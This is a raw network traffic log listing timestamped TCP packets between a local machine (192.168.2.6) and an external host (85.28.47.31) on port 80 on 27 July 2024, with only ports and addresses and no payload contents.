Jul 27, 2024 03:19:14.291084051 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.291115046 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.291132927 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.291166067 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.291166067 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.291188955 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.291203022 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.291237116 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.291249990 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.291249990 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.291270971 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.291289091 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.291304111 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.291327953 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.291337967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.291357994 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.291371107 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.291404009 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.291414022 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.291414022 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.291436911 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.291471004 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.291486025 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.291486025 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.291532040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.291579962 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.291580915 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.291614056 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.291625023 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.291625023 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.291646957 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.291678905 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.291692019 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.291692019 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.291712046 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.291723967 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.291745901 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.291778088 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.291785002 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.291785002 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.291811943 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.291843891 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.291852951 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.291852951 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.291877031 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.291893005 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.291909933 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.291943073 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.291954994 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.291954994 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.291976929 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.292009115 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.292026043 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.292026043 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.292042017 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.292069912 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.292078972 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.292108059 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.292123079 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.292123079 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.292228937 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.294517994 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.294568062 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.294600010 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.294600010 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.294650078 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.294650078 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.294655085 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.294687986 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.294714928 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.294720888 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.294754028 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.294774055 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.294774055 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.294786930 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.294832945 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.294832945 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.361507893 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.361560106 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.361593008 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.361625910 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.361625910 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.361625910 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.361659050 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.361670017 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.361670017 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.361696005 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.361732006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.361747980 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.361747980 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.361773014 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.361807108 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.361816883 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.361816883 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.361841917 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.361875057 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.361886978 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.361886978 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.361907959 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.361929893 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.361943007 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.361985922 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.361985922 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.362884045 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.363120079 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.368390083 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.368423939 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.368455887 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.368472099 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.368472099 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.368520021 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.368525982 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.368558884 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.368591070 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.368592024 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.368618965 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.368628979 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.368649960 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.368662119 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.368674994 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.368695974 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.368727922 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.368740082 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.368740082 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.368761063 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.368794918 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.368805885 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.368807077 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.368829012 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.368864059 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.368875980 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.368875980 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.368917942 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.369390965 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.369421959 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.369472980 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.369472980 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.369474888 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.369523048 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.369555950 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.369566917 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.369566917 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.369590044 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.369623899 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.369633913 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.369633913 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.369657040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.369697094 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.369697094 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.370408058 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.370455980 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.370470047 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.370490074 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.370539904 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.370542049 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.370542049 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.370573044 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.370614052 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.370614052 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.370626926 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.370659113 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.370691061 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.370702028 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.370702028 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.370955944 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.371011972 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.371011972 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.371151924 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.371181011 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.371213913 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.371223927 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.371223927 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.371264935 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.371296883 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.371310949 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.371310949 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.371330023 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.371377945 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.371378899 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.371378899 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.371413946 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.371445894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.371455908 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.371455908 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.371480942 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.371511936 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.371545076 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.371546030 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.371546030 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.371589899 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.371589899 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.372387886 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.372508049 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.380816936 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.380867958 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.380901098 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.380927086 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.380927086 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.380951881 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.380951881 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.380985975 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.381020069 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.381028891 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.381028891 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.381052971 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.381071091 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.381088018 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.381127119 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.381127119 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.384567022 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.384603024 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.384635925 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.384641886 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.384641886 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.384670973 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.384705067 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.384711027 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.384711027 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.384743929 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.384778023 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.384787083 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.384787083 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.384809971 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.384843111 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.384849072 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.384849072 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.384888887 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.384923935 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.384931087 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.384931087 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.384957075 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.384989977 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.384995937 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.384995937 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.385024071 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.385057926 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.385065079 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.385065079 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.385092020 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.385128975 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.385129929 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.385129929 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.385163069 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.385190964 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.385196924 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.385234118 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.385237932 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.385237932 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.385267019 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.385349989 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.385354996 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.385354996 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.385385036 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.385413885 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.385425091 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.385425091 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.385447979 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.385482073 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.385487080 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.385487080 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.385539055 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.385581017 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.385581017 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.385588884 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.385622978 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.385657072 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.385663033 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.385663033 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.385689974 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.385724068 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.385727882 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.385727882 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.385759115 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.385791063 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.385797024 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.385797024 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.385824919 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.385859013 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.385864019 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.385864019 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.385894060 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.385926962 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.385934114 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.385934114 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.386004925 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.386030912 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.386054993 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.386089087 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.386095047 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.386095047 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.386123896 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.386157036 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.386162043 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.386162043 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.386189938 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.386226892 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.386229038 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.386229038 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.386259079 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.386291981 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.386298895 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.386300087 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.386322021 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.386354923 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.386363029 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.386363029 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.386389017 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.386399984 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.386421919 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.386456013 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.386461020 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.386461020 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.386488914 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.386527061 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.386527061 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.450360060 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.450465918 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.450500965 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.450505018 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.450535059 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.450546026 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.450546026 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.450572968 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.450608969 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.450613022 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.450613022 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.450654030 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.450696945 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.450696945 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.451421022 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.451452971 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.451487064 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.451488972 CEST	49710	80	192.168.2.6	85.28.47.31
